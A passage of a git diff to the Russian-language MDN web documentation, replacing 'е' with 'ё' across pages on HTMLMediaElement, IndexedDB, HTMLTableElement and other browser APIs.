id="Пример">Пример</h2> <pre class="brush: js">/* - * Обрабатывать событие <span style="font-size: 1rem;">transitionend на определенном элементе, т.е. </span><span style="font-size: 1rem;">#slidingMenu</span> - * Затем, вызвать определенную функцию, т.е. showMessage() + * Обрабатывать событие <span style="font-size: 1rem;">transitionend на определённом элементе, т.е. </span><span style="font-size: 1rem;">#slidingMenu</span> + * Затем, вызвать определённую функцию, т.е. showMessage() */ function showMessage() { - alert('Transition закончил свое выполнение'); + alert('Transition закончил своё выполнение'); } var element = document.getElementById("slidingMenu"); diff --git a/files/ru/web/api/htmlimageelement/image/index.html b/files/ru/web/api/htmlimageelement/image/index.html index 1c96e0f2d1..9236013fa7 100644 --- a/files/ru/web/api/htmlimageelement/image/index.html +++ b/files/ru/web/api/htmlimageelement/image/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/HTMLImageElement/Image <div></div> -<div>Конструктор <strong>Image()</strong> создает новый экземпляр HTMLImageElement. Эквивалентно document.createElement ('img').</div> +<div>Конструктор <strong>Image()</strong> создаёт новый экземпляр HTMLImageElement. Эквивалентно document.createElement ('img').</div> <h3 id="Конструктор_элемента_Image">Конструктор элемента Image</h3> diff --git a/files/ru/web/api/htmlinputelement/setselectionrange/index.html b/files/ru/web/api/htmlinputelement/setselectionrange/index.html index 585f5e499f..b444567202 100644 --- a/files/ru/web/api/htmlinputelement/setselectionrange/index.html +++ b/files/ru/web/api/htmlinputelement/setselectionrange/index.html @@ -31,7 +31,7 @@ translation_of: Web/API/HTMLInputElement/setSelectionRange <dt><em>selectionEnd</em></dt> <dd>Индекс символа <em>после</em> последнего выделенного символа.</dd> <dt><em>selectionDirection</em> {{optional_inline}}</dt> - <dd>Строка, определяющая направления произведенного выделения. Принимаются значения "forward", "backward" или "none", если направление выделение неизвестно или неважно.</dd> + <dd>Строка, определяющая направления произведённого выделения. Принимаются значения "forward", "backward" или "none", если направление выделение неизвестно или неважно.</dd> </dl> <h2 id="Пример">Пример</h2> @@ -58,7 +58,7 @@ function SelectText () { </html> </pre> -<p>приведет к следующему результату:</p> +<p>приведёт к следующему результату:</p> <p><img alt="example.png" class="default internal" src="/@api/deki/files/6104/=example.png"></p> @@ -159,7 +159,7 @@ function SelectText () { <p>[1] Поддержка <code>selectionDirection</code> была добавлена Blink в {{WebkitBug("60403")}}.</p> -<p>Требуется отметить, что согласно спецификации <a href="https://html.spec.whatwg.org/multipage/forms.html#concept-input-apply">WHATWG forms</a> свойства <code>selectionStart</code>, <code>selectionEnd</code> и метод <code>setSelectionRange</code> применяются только к элементам <em>input</em> c типами <em>text</em>, <em>search</em>, <em>URL</em>, <em>tel</em> и <em>password</em>. Начиная с версии 33, Chrome, выдает исключение во время попытки доступа к этим свойствам и методу на других типах элемента <em>input</em>. Например, для элемента <em>input</em> типа <em>number</em> появится исключение с сообщением: "Failed to read the 'selectionStart' property from 'HTMLInputElement': The input element's type ('number') does not support selection." Ссылки по теме: <a href="http://stackoverflow.com/questions/21177489/selectionstart-selectionend-on-input-type-number-no-longer-allowed-in-chrome">вопрос на StackOverflow</a>, <a href="https://www.w3.org/Bugs/Public/show_bug.cgi?id=24796">whatwg баг</a>, <a href="https://code.google.com/p/chromium/issues/detail?id=324360">Chromium баг</a>.</p> +<p>Требуется отметить, что согласно спецификации <a href="https://html.spec.whatwg.org/multipage/forms.html#concept-input-apply">WHATWG forms</a> свойства <code>selectionStart</code>, <code>selectionEnd</code> и метод <code>setSelectionRange</code> применяются только к элементам <em>input</em> c типами <em>text</em>, <em>search</em>, <em>URL</em>, <em>tel</em> и <em>password</em>. Начиная с версии 33, Chrome, выдаёт исключение во время попытки доступа к этим свойствам и методу на других типах элемента <em>input</em>. Например, для элемента <em>input</em> типа <em>number</em> появится исключение с сообщением: "Failed to read the 'selectionStart' property from 'HTMLInputElement': The input element's type ('number') does not support selection." Ссылки по теме: <a href="http://stackoverflow.com/questions/21177489/selectionstart-selectionend-on-input-type-number-no-longer-allowed-in-chrome">вопрос на StackOverflow</a>, <a href="https://www.w3.org/Bugs/Public/show_bug.cgi?id=24796">whatwg баг</a>, <a href="https://code.google.com/p/chromium/issues/detail?id=324360">Chromium баг</a>.</p> <p>[2] Поддержка <code>selectionDirection</code> была добавлена в Gecko в {{bug("674558")}}.</p> diff --git a/files/ru/web/api/htmlmediaelement/duration/index.html b/files/ru/web/api/htmlmediaelement/duration/index.html index ec667078a9..5d96bdb7d8 100644 --- a/files/ru/web/api/htmlmediaelement/duration/index.html +++ b/files/ru/web/api/htmlmediaelement/duration/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/HTMLMediaElement/duration <h3 id="Значения">Значения</h3> -<p><code>Double</code>. Если медиа данные доступны, но длина неизвестна, то duration будет <code>NaN</code>. Если медиа загружается в фоновом режиме и не имеет заранее определенной длины, значение равно <code>Inf</code>.</p> +<p><code>Double</code>. Если медиа данные доступны, но длина неизвестна, то duration будет <code>NaN</code>. Если медиа загружается в фоновом режиме и не имеет заранее определённой длины, значение равно <code>Inf</code>.</p> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/api/htmlmediaelement/index.html b/files/ru/web/api/htmlmediaelement/index.html index 9bd4e1feca..1b069ef10a 100644 --- a/files/ru/web/api/htmlmediaelement/index.html +++ b/files/ru/web/api/htmlmediaelement/index.html @@ -29,7 +29,7 @@ translation_of: Web/API/HTMLMediaElement <dd>{{Domxref ("AudioTrackList")}}, в котором перечислены объекты {{domxref ("AudioTrack")}}, содержащиеся в элементе.</dd> <dt>{{domxref("HTMLMediaElement.autoplay")}}</dt> <dd>{{Jsxref ("Boolean")}}, который отражает атрибут HTML {{htmlattrxref ("autoplay", "video")}}, указывающий, должно ли воспроизведение начинаться автоматически, как только будет доступно достаточно медиафайлов, чтобы сделать это без прерывания. - <div class="note"><strong>Примечание. Сайты, которые автоматически воспроизводят аудио (или видео с аудиодорожкой), могут быть неприятными для пользователей, поэтому их следует по возможности избегать. Если вы должны предлагать функцию автозапуска, вы должны включить ее (требуется, чтобы пользователь специально включил ее). Однако это может быть полезно при создании элементов мультимедиа, источник которых будет установлен позднее под контролем пользователя.</strong></div> + <div class="note"><strong>Примечание. Сайты, которые автоматически воспроизводят аудио (или видео с аудиодорожкой), могут быть неприятными для пользователей, поэтому их следует по возможности избегать. Если вы должны предлагать функцию автозапуска, вы должны включить её (требуется, чтобы пользователь специально включил её). Однако это может быть полезно при создании элементов мультимедиа, источник которых будет установлен позднее под контролем пользователя.</strong></div> </dd> <dt>{{domxref("HTMLMediaElement.buffered")}} {{readonlyinline}}</dt> <dd>Возвращает объект {{domxref ("TimeRanges")}}, который указывает диапазоны медиаисточника, который браузер буферизировал (если есть) в момент обращения к свойству <code>buffered</code>.</dd> @@ -38,7 +38,7 @@ translation_of: Web/API/HTMLMediaElement <dt>{{domxref("HTMLMediaElement.controls")}}</dt> <dd>Является {{jsxref ('Boolean')}}, который отражает атрибут HTML {{htmlattrxref ("controls", "video")}}, указывающий, должны ли отображаться элементы пользовательского интерфейса для управления ресурсом.</dd> <dt>{{domxref("HTMLMediaElement.controlsList")}} {{readonlyinline}}</dt> - <dd>Возвращает {{domxref ("DOMTokenList")}}, который помогает агенту пользователя выбирать элементы управления для отображения на элементе мультимедиа всякий раз, когда агент пользователя показывает свой собственный набор элементов управления. DOMTokenList принимает одно или несколько из трех возможных значений: nodownload, nofullscreen и noremoteplayback.</dd> + <dd>Возвращает {{domxref ("DOMTokenList")}}, который помогает агенту пользователя выбирать элементы управления для отображения на элементе мультимедиа всякий раз, когда агент пользователя показывает свой собственный набор элементов управления. DOMTokenList принимает одно или несколько из трёх возможных значений: nodownload, nofullscreen и noremoteplayback.</dd> <dt>{{domxref("HTMLMediaElement.crossOrigin")}}</dt> <dd>{{Domxref ("DOMString")}}, указывающий настройку CORS для этого медиаэлемента.</dd> <dt>{{domxref("HTMLMediaElement.currentSrc")}} {{readonlyinline}}</dt> @@ -50,7 +50,7 @@ translation_of: Web/API/HTMLMediaElement <dt>{{domxref("HTMLMediaElement.defaultPlaybackRate")}}</dt> <dd>Двойное значение, обозначающее скорость воспроизведения по умолчанию для мультимедиа.</dd> <dt>{{domxref("HTMLMediaElement.disableRemotePlayback")}}</dt> - <dd>{{Jsxref ('Boolean')}}, который устанавливает или возвращает состояние удаленного воспроизведения, указывая, разрешено ли медиаэлементу иметь удаленный пользовательский интерфейс воспроизведения.</dd> + <dd>{{Jsxref ('Boolean')}}, который устанавливает или возвращает состояние удалённого воспроизведения, указывая, разрешено ли медиаэлементу иметь удалённый пользовательский интерфейс воспроизведения.</dd> <dt>{{domxref("HTMLMediaElement.duration")}} {{readonlyinline}}</dt> <dd>Возвращает значение типа double, указывающее длину носителя в секундах, или 0, если данные носителя отсутствуют.</dd> <dt>{{domxref("HTMLMediaElement.ended")}} {{readonlyinline}}</dt> @@ -71,12 +71,12 @@ translation_of: Web/API/HTMLMediaElement <dd> <p>Это unsigned long, который указывает число выборок, которые будут возвращены в кадровом буфере каждого события MozAudioAvailable. Это число является общим для всех каналов, и по умолчанию установлено количество каналов * 1024 (например, 2 канала * 1024 выборок = всего 2048).</p> - <p>Для свойства mozFrameBufferLength может быть установлено новое значение для более низкой задержки, больших объемов данных и т. Д. Указанный размер должен быть числом от 512 до 16384. Использование любого другого размера приводит к возникновению исключения. Лучшее время для установки новой длины - после того, как сработало событие загруженных метаданных, когда известна аудиоинформация, но до того, как аудио началось, или события MozAudioAvailable начали срабатывать.</p> + <p>Для свойства mozFrameBufferLength может быть установлено новое значение для более низкой задержки, больших объёмов данных и т. Д. Указанный размер должен быть числом от 512 до 16384. Использование любого другого размера приводит к возникновению исключения. Лучшее время для установки новой длины - после того, как сработало событие загруженных метаданных, когда известна аудиоинформация, но до того, как аудио началось, или события MozAudioAvailable начали срабатывать.</p> </dd> <dt>{{domxref("HTMLMediaElement.mozSampleRate")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}}</dt> <dd>Возвращает двойное число, представляющее количество семплов в секунду, которые будут воспроизведены. Например, 44100 выборок в секунду - это частота дискретизации, используемая аудио CD.</dd> <dt>{{domxref("HTMLMediaElement.muted")}}</dt> - <dd>{{Jsxref ('Boolean')}}, определяющий, отключен ли звук. true, если звук отключен, и false в противном случае.</dd> + <dd>{{Jsxref ('Boolean')}}, определяющий, отключён ли звук. true, если звук отключён, и false в противном случае.</dd> <dt>{{domxref("HTMLMediaElement.networkState")}} {{readonlyinline}}</dt> <dd>Возвращает unsigned short (перечисление), указывающее текущее состояние выборки мультимедиа по сети.</dd> <dt>{{domxref("HTMLMediaElement.paused")}} {{readonlyinline}}</dt> @@ -100,7 +100,7 @@ translation_of: Web/API/HTMLMediaElement <dt>{{domxref("HTMLMediaElement.src")}}</dt> <dd>Это {{domxref ("DOMString")}}, который отражает атрибут HTML {{htmlattrxref ("src", "video")}}, который содержит URL-адрес используемого медиа-ресурса.</dd> <dt>{{domxref("HTMLMediaElement.srcObject")}}</dt> - <dd>{{Domxref ('MediaStream')}}, представляющий медиафайл для воспроизведения или воспроизведенный в текущем HTMLMediaElement, или null, если не назначен.</dd> + <dd>{{Domxref ('MediaStream')}}, представляющий медиафайл для воспроизведения или воспроизведённый в текущем HTMLMediaElement, или null, если не назначен.</dd> <dt>{{domxref("HTMLMediaElement.textTracks")}} {{readonlyinline}}</dt> <dd>Возвращает список объектов {{domxref ("TextTrack")}}, содержащихся в элементе.</dd> <dt>{{domxref("HTMLMediaElement.videoTracks")}} {{readonlyinline}}</dt> @@ -124,7 +124,7 @@ translation_of: Web/API/HTMLMediaElement <h2 id="Устаревшие_атрибуты">Устаревшие атрибуты</h2> -<p>Эти атрибуты устарели и не должны использоваться, даже если браузер все еще поддерживает их.</p> +<p>Эти атрибуты устарели и не должны использоваться, даже если браузер все ещё поддерживает их.</p> <dl> <dt>{{domxref("HTMLMediaElement.initialTime")}} {{readonlyinline}} {{non-standard_inline}} {{obsolete_inline}}</dt> @@ -177,7 +177,7 @@ translation_of: Web/API/HTMLMediaElement <h2 id="Устаревшие_методы">Устаревшие методы</h2> -<p>Эти методы устарели и не должны использоваться, даже если браузер все еще поддерживает их.</p> +<p>Эти методы устарели и не должны использоваться, даже если браузер все ещё поддерживает их.</p> <dl> <dt>{{domxref("HTMLMediaElement.mozLoadFrom()")}} {{non-standard_inline}} {{deprecated_inline}}</dt> @@ -186,7 +186,7 @@ translation_of: Web/API/HTMLMediaElement <h2 id="События">События </h2> -<p><em>Наследует методы от своего родителя {{domxref ("HTMLElement")}}, определенного в миксине {{domxref ('GlobalEventHandlers')}}. Обработайте эти события, используя addEventListener () или назначив обработчик событий свойству oneventname этого интерфейса.</em></p> +<p><em>Наследует методы от своего родителя {{domxref ("HTMLElement")}}, определённого в миксине {{domxref ('GlobalEventHandlers')}}. Обработайте эти события, используя addEventListener () или назначив обработчик событий свойству oneventname этого интерфейса.</em></p> <dl> <dt>{{domxref("HTMLMediaElement.abort_event", 'abort')}}</dt> diff --git a/files/ru/web/api/htmlmediaelement/seeking_event/index.html b/files/ru/web/api/htmlmediaelement/seeking_event/index.html index 145c72b01b..10c8052325 100644 --- a/files/ru/web/api/htmlmediaelement/seeking_event/index.html +++ b/files/ru/web/api/htmlmediaelement/seeking_event/index.html @@ -4,7 +4,7 @@ slug: Web/API/HTMLMediaElement/seeking_event translation_of: Web/API/HTMLMediaElement/seeking_event original_slug: Web/HTML/Element/video/seeking_event --- -<p>Событие 'seeking' в случае, когда идет подгрузка видео</p> +<p>Событие 'seeking' в случае, когда идёт подгрузка видео</p> <h2 id="General_info">General info</h2> diff --git a/files/ru/web/api/htmlorforeignelement/dataset/index.html b/files/ru/web/api/htmlorforeignelement/dataset/index.html index f69b78492a..2fc2e821ec 100644 --- a/files/ru/web/api/htmlorforeignelement/dataset/index.html +++ b/files/ru/web/api/htmlorforeignelement/dataset/index.html @@ -9,10 +9,10 @@ original_slug: Web/API/HTMLElement/dataset <p>Свойство <code><strong>HTMLElement.dataset</strong></code> предоставляет доступ как для чтения, так и для изменения всех пользовательских дата-атрибутов <a href="/en/HTML/Global_attributes#attr-data-*" title="https://developer.mozilla.org/en/HTML/Global_attributes#attr-data-*">custom data attributes</a> (<code>data-*</code>) , установленных у элемента. Это <a href="/en/DOM/DOMStringMap" title="en/DOM/DOMStringMap">map of DOMString</a>, одна запись для каждого пользовательского атрибута данных. Обратите внимание, свойство <code><strong>dataset</strong></code> доступно только для чтения. Для записи должны использоваться его "свойства", которые представлены data-атрибутами. Также обратите внимание, что HTML <code><strong>data-</strong></code><em>атрибут</em> и соответствующий ему DOM-<code>dataset.</code><em>property</em> не имеют одно и то же имя, но они всегда похожи:</p> <ul> - <li>Имя пользовательского дата атрибута в HTML начинается с "<code>data-</code>". Оно может состоять из букв, цифр и символов: дефис-минус (<code>-</code>, <code>U+002D</code>), точка (<code>.</code>), двоеточие (<code>:</code>), подчеркивание (<code>_</code>). Имя НЕ МОЖЕТ включать в себя заглавные буквы.</li> + <li>Имя пользовательского дата атрибута в HTML начинается с "<code>data-</code>". Оно может состоять из букв, цифр и символов: дефис-минус (<code>-</code>, <code>U+002D</code>), точка (<code>.</code>), двоеточие (<code>:</code>), подчёркивание (<code>_</code>). Имя НЕ МОЖЕТ включать в себя заглавные буквы.</li> <li>Имя пользовательского дата-атрибута в Javascript — это имя того же атрибута в HTML, но с использованием нотации camelCase и без дефисов, точек и т.д.<br> <br> - В дополнение к приведенной ниже информации вы найдете руководство по использованию HTML data-атрибутов в нашей статье <a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">Использование data-атрибутов</a>.</li> + В дополнение к приведённой ниже информации вы найдёте руководство по использованию HTML data-атрибутов в нашей статье <a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">Использование data-атрибутов</a>.</li> </ul> <h3 id="Преобразование_имён">Преобразование имён</h3> diff --git a/files/ru/web/api/htmlorforeignelement/nonce/index.html b/files/ru/web/api/htmlorforeignelement/nonce/index.html index 497dd8a6be..6d03c7529c 100644 --- a/files/ru/web/api/htmlorforeignelement/nonce/index.html +++ b/files/ru/web/api/htmlorforeignelement/nonce/index.html @@ -39,7 +39,7 @@ HTMLElement.nonce = <em>nonce</em></pre> <h2 id="Browser_Compatibility">Browser Compatibility</h2> <div> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="/en-US/docs/">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="/en-US/docs/">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос.</div> <p>{{Compat("api.HTMLElement.nonce")}}</p> </div> diff --git a/files/ru/web/api/htmlscriptelement/index.html b/files/ru/web/api/htmlscriptelement/index.html index 82372ff2d2..3d822139d4 100644 --- a/files/ru/web/api/htmlscriptelement/index.html +++ b/files/ru/web/api/htmlscriptelement/index.html @@ -32,7 +32,7 @@ translation_of: Web/API/HTMLScriptElement <tr> <td><code id="src_property">src</code></td> <td>{{domxref("DOMString")}}</td> - <td>Получает и отдает URL внешнего скрипта. Он отражает атрибут {{htmlattrxref("src","script")}}.</td> + <td>Получает и отдаёт URL внешнего скрипта. Он отражает атрибут {{htmlattrxref("src","script")}}.</td> </tr> <tr> <td><code id="event_property">event</code>{{obsolete_inline}}</td> diff --git a/files/ru/web/api/htmltableelement/index.html b/files/ru/web/api/htmltableelement/index.html index fd23c972b7..cfadd4d95d 100644 --- a/files/ru/web/api/htmltableelement/index.html +++ b/files/ru/web/api/htmltableelement/index.html @@ -59,15 +59,15 @@ translation_of: Web/API/HTMLTableElement <dl> <dt><a href="/ru/docs/DOM/table.createTHead">table.createTHead</a></dt> - <dd><strong>createTHead</strong> создает header таблицы.</dd> + <dd><strong>createTHead</strong> создаёт header таблицы.</dd> <dt><a href="/ru/docs/DOM/table.deleteTHead">table.deleteTHead</a></dt> <dd><strong>deleteTHead</strong> удаляет header таблицы.</dd> <dt><a href="/ru/docs/DOM/table.createTFoot">table.createTFoot</a></dt> - <dd><strong>createTFoot</strong> создает footer таблицы.</dd> + <dd><strong>createTFoot</strong> создаёт footer таблицы.</dd> <dt><a href="/ru/docs/DOM/table.deleteTFoot">table.deleteTFoot</a></dt> <dd><strong>deleteTFoot</strong> удаляет footer таблицы.</dd> <dt><a href="/ru/docs/DOM/table.createCaption">table.createCaption</a></dt> - <dd><strong>createCaption</strong> создает заголовок таблицы.</dd> + <dd><strong>createCaption</strong> создаёт заголовок таблицы.</dd> <dt><a href="/ru/docs/DOM/table.deleteCaption">table.deleteCaption</a></dt> <dd><strong>deleteCaption</strong> удаляет заголовок таблицы.</dd> <dt><a href="/ru/docs/DOM/table.insertRow">table.insertRow</a></dt> diff --git a/files/ru/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html b/files/ru/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html index 631575d0cc..20cfec2417 100644 --- a/files/ru/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html +++ b/files/ru/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html @@ -25,11 +25,11 @@ translation_of: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB <h2 id="Обзор_IndexedDB">Обзор IndexedDB</h2> -<p>IndexedDB позволяет сохранять и извлекать объекты, проиндексированные с помощью "ключа". Все манипуляции над базой данных происходят при помощи транзакций. Как и большинство решений для web-хранилищ, IndexedDB следует <a class="external" href="http://www.w3.org/Security/wiki/Same_Origin_Policy" title="http://www.w3.org/Security/wiki/Same_Origin_Policy">same-origin policy</a>. Поэтому, если получить доступ к сохраненным данным в пределах домена можно, то вне его - нет.</p> +<p>IndexedDB позволяет сохранять и извлекать объекты, проиндексированные с помощью "ключа". Все манипуляции над базой данных происходят при помощи транзакций. Как и большинство решений для web-хранилищ, IndexedDB следует <a class="external" href="http://www.w3.org/Security/wiki/Same_Origin_Policy" title="http://www.w3.org/Security/wiki/Same_Origin_Policy">same-origin policy</a>. Поэтому, если получить доступ к сохранённым данным в пределах домена можно, то вне его - нет.</p> <p>IndexedDB - <a href="/en/IndexedDB#Asynchronous_API" title="https://developer.mozilla.org/en/IndexedDB#Asynchronous_API">асинхронное</a> API, которое может быть использовано в большинстве контекстов, включая <a href="/ru/docs/Web/API/Web_Workers_API/Using_web_workers" title="https://developer.mozilla.org/En/Using_web_workers">Web Workers</a>. Раньше оно включало <a href="/en/IndexedDB#Synchronous_API" title="https://developer.mozilla.org/en/IndexedDB#Synchronous_API">синхронную</a> версию, для использования в web workers, но это было удалено из спецификации в связи с недостатком интереса внутри web-сообщества.</p> -<p>Существует так же конкурирующая с IndexedDB спецификация, WebSQL Database, но W3C исключила ее 18 ноября 2010. Хотя IndexedDB и WebSQL оба являются решением для хранилищ, они предоставляют различный функционал. WebSQL Database - реляционная система доступа к базам данных, когда IndexedDB - система индексированной таблицы.</p> +<p>Существует так же конкурирующая с IndexedDB спецификация, WebSQL Database, но W3C исключила её 18 ноября 2010. Хотя IndexedDB и WebSQL оба являются решением для хранилищ, они предоставляют различный функционал. WebSQL Database - реляционная система доступа к базам данных, когда IndexedDB - система индексированной таблицы.</p> <h2 id="concepts" name="concepts">Big concepts</h2> diff --git a/files/ru/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.html b/files/ru/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.html index 93f8f9634e..e81311aaae 100644 --- a/files/ru/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.html +++ b/files/ru/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.html @@ -12,7 +12,7 @@ translation_of: Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criter <p class="summary">Существует целый ряд веб-технологий, которые хранят данные того или иного рода на стороне клиента (то есть на локальном диске). Процесс, с помощью которого браузер решает, сколько места выделить для хранения веб-данных и что удалить, когда этот предел будет достигнут, не прост и отличается между браузерами. В этой статье описывается, как браузеры определяют, какой локальный контент следует очистить и когда, чтобы освободить необходимое локальное пространство для хранения.</p> <div class="note"> -<p><strong>Примечание</strong>: приведенная ниже информация должна быть достаточно точной для большинства современных браузеров, но специфика браузера вызывается там, где она известна. Opera и Chrome должны вести себя одинаково во всех случаях. Opera Mini (все еще основанная на presto, серверная визуализация) не хранит никаких данных на клиенте.</p> +<p><strong>Примечание</strong>: приведённая ниже информация должна быть достаточно точной для большинства современных браузеров, но специфика браузера вызывается там, где она известна. Opera и Chrome должны вести себя одинаково во всех случаях. Opera Mini (все ещё основанная на presto, серверная визуализация) не хранит никаких данных на клиенте.</p> </div> <h2 id="Какие_технологии_используют_браузерные_хранилища_данных">Какие технологии используют браузерные хранилища данных?</h2> @@ -27,11 +27,11 @@ translation_of: Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criter </ul> <div class="note"> -<p><strong>Примечание</strong>: В Firefox веб-хранилище скоро начнет использовать те же инструменты управления хранилищем, что и в этом документе.</p> +<p><strong>Примечание</strong>: В Firefox веб-хранилище скоро начнёт использовать те же инструменты управления хранилищем, что и в этом документе.</p> </div> <div class="note"> -<p><strong>Примечание</strong>: в режиме приватного просмотра большинство хранилищ данных не поддерживается. Данные локального хранилища и файлы cookie все еще хранятся, но они эфемерны — данные удаляются, когда вы закрываете последнее окно приватного просмотра.</p> +<p><strong>Примечание</strong>: в режиме приватного просмотра большинство хранилищ данных не поддерживается. Данные локального хранилища и файлы cookie все ещё хранятся, но они эфемерны — данные удаляются, когда вы закрываете последнее окно приватного просмотра.</p> </div> <p>The "last access time" of origins is updated when any of these are activated/deactivated — origin eviction will delete data for all these quota clients.</p> diff --git a/files/ru/web/api/indexeddb_api/index.html b/files/ru/web/api/indexeddb_api/index.html index 5a951d7da7..c759014ee2 100644 --- a/files/ru/web/api/indexeddb_api/index.html +++ b/files/ru/web/api/indexeddb_api/index.html @@ -12,7 +12,7 @@ translation_of: Web/API/IndexedDB_API --- <div>{{DefaultAPISidebar("IndexedDB")}}</div> -<p>IndexedDB — низкоуровневое API для клиентского хранилища большого объема структурированных данных, включая файлы/blobs. Эти API используют индексы для обеспечения высоко-производительного поиска данных. Если <a href="/en-US/docs/DOM/Storage">DOM Storage</a> полезен для хранения небольшого количества данных, он менее выгоден для большого числа структурированных данных. IndexedDB предоставляет решение. Это основная страница на MDN, покрывающая IndexedDB — здесь мы предоставляем ссылки к полному списку API и руководствам по использованию, детали поддержки браузерами и некоторые объяснения ключевых концепций.</p> +<p>IndexedDB — низкоуровневое API для клиентского хранилища большого объёма структурированных данных, включая файлы/blobs. Эти API используют индексы для обеспечения высоко-производительного поиска данных. Если <a href="/en-US/docs/DOM/Storage">DOM Storage</a> полезен для хранения небольшого количества данных, он менее выгоден для большого числа структурированных данных. IndexedDB предоставляет решение. Это основная страница на MDN, покрывающая IndexedDB — здесь мы предоставляем ссылки к полному списку API и руководствам по использованию, детали поддержки браузерами и некоторые объяснения ключевых концепций.</p> <p>{{AvailableInWorkers}}</p> @@ -22,7 +22,7 @@ translation_of: Web/API/IndexedDB_API <h2 id="Ключевые_концепции_и_использование">Ключевые концепции и использование</h2> -<p>IndexedDB транзакционная система базы данных, как SQL-основанная RDBMS. Однако, в отличие от RDBMS, которая использует таблицы с фиксированными колонками, IndexedDB — JavaScript-основанная объектно-ориентированная база данных. IndexedDB позволяет сохранять и возвращать объекты, которые были проиндексированы с <strong>ключом</strong>; любой объект, поддерживаемый <a href="/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">структурированным алгоритмом клонирования</a> может быть сохранен. Необходимо описать схему базы данных, установить соединение с ней и затем получить и обновить данные за несколько <strong>транзакций</strong>.</p> +<p>IndexedDB транзакционная система базы данных, как SQL-основанная RDBMS. Однако, в отличие от RDBMS, которая использует таблицы с фиксированными колонками, IndexedDB — JavaScript-основанная объектно-ориентированная база данных. IndexedDB позволяет сохранять и возвращать объекты, которые были проиндексированы с <strong>ключом</strong>; любой объект, поддерживаемый <a href="/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">структурированным алгоритмом клонирования</a> может быть сохранён. Необходимо описать схему базы данных, установить соединение с ней и затем получить и обновить данные за несколько <strong>транзакций</strong>.</p> <ul> <li>Читайте больше о <a href="/en-US/docs/Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB">Концепции IndexedDB</a>.</li> @@ -63,7 +63,7 @@ translation_of: Web/API/IndexedDB_API <dl> <dt>{{domxref("IDBTransaction")}}</dt> - <dd>Представляет транзакцию. Вы создаете транзакцию в базе данных, указываете область действия (например, к каким хранилищам объектов вы хотите получить доступ) и определяете тип доступа (только чтение или чтение/запись), который вам нужен.</dd> + <dd>Представляет транзакцию. Вы создаёте транзакцию в базе данных, указываете область действия (например, к каким хранилищам объектов вы хотите получить доступ) и определяете тип доступа (только чтение или чтение/запись), который вам нужен.</dd> <dt>{{domxref("IDBRequest")}}</dt> <dd>Generic interface that handles database requests and provides access to results.</dd> <dt>{{domxref("IDBObjectStore")}}</dt> @@ -75,9 +75,9 @@ translation_of: Web/API/IndexedDB_API <dt>{{domxref("IDBCursorWithValue")}}</dt> <dd>Итерирует по хранилищам объектов и индексам и возвращает текущее значение курсора.</dd> <dt>{{domxref("IDBKeyRange")}}</dt> - <dd>Определяет диапазон ключей, который можно использовать для извлечения данных из базы данных в определенном диапазоне.</dd> + <dd>Определяет диапазон ключей, который можно использовать для извлечения данных из базы данных в определённом диапазоне.</dd> <dt>{{domxref("IDBLocaleAwareKeyRange")}} {{Non-standard_inline}}</dt> - <dd>Определяет диапазон ключей, который можно использовать для извлечения данных из базы данных в определенном диапазоне, отсортированных в соответствии с правилами локали, указанной для определенного индекса (см. <a href="/en-US/docs/Web/API/IDBObjectStore/createIndex#Parameters"><code>createIndex()</code>'s optionalParameters</a>.). Этот интерфейс не входит в спецификацию 2.0.</dd> + <dd>Определяет диапазон ключей, который можно использовать для извлечения данных из базы данных в определённом диапазоне, отсортированных в соответствии с правилами локали, указанной для определённого индекса (см. <a href="/en-US/docs/Web/API/IDBObjectStore/createIndex#Parameters"><code>createIndex()</code>'s optionalParameters</a>.). Этот интерфейс не входит в спецификацию 2.0.</dd> </dl> <h3 id="Пользовательские_интерфейсы_событий">Пользовательские интерфейсы событий</h3> @@ -91,11 +91,11 @@ translation_of: Web/API/IndexedDB_API <h3 id="Устаревшие_интерфейсы">Устаревшие интерфейсы</h3> -<p>Ранняя версия спецификации также определяла эти теперь удаленные интерфейсы. Они все еще задокументированы на тот случай, если вам понадобится обновить ранее написанный код:</p> +<p>Ранняя версия спецификации также определяла эти теперь удалённые интерфейсы. Они все ещё задокументированы на тот случай, если вам понадобится обновить ранее написанный код:</p> <dl> <dt>{{domxref("IDBVersionChangeRequest")}} {{obsolete_inline}}</dt> - <dd>Представляет запрос на изменение версии базы данных. С тех пор способ изменения версии базы данных изменился (путем вызова {{domxref("IDBFactory.open")}} без вызова {{domxref("IDBDatabase.setVersion")}}), а интерфейс {{domxref("IDBOpenDBRequest")}} теперь имеет функциональность удаленного {{domxref("IDBVersionChangeRequest")}}.</dd> + <dd>Представляет запрос на изменение версии базы данных. С тех пор способ изменения версии базы данных изменился (путём вызова {{domxref("IDBFactory.open")}} без вызова {{domxref("IDBDatabase.setVersion")}}), а интерфейс {{domxref("IDBOpenDBRequest")}} теперь имеет функциональность удалённого {{domxref("IDBVersionChangeRequest")}}.</dd> <dt>{{domxref("IDBDatabaseException")}} {{obsolete_inline}}</dt> <dd>Представляет исключения, которые могут возникнуть при выполнении операций с базой данных.</dd> <dt>{{domxref("IDBTransactionSync")}} {{obsolete_inline}}</dt> @@ -148,7 +148,7 @@ 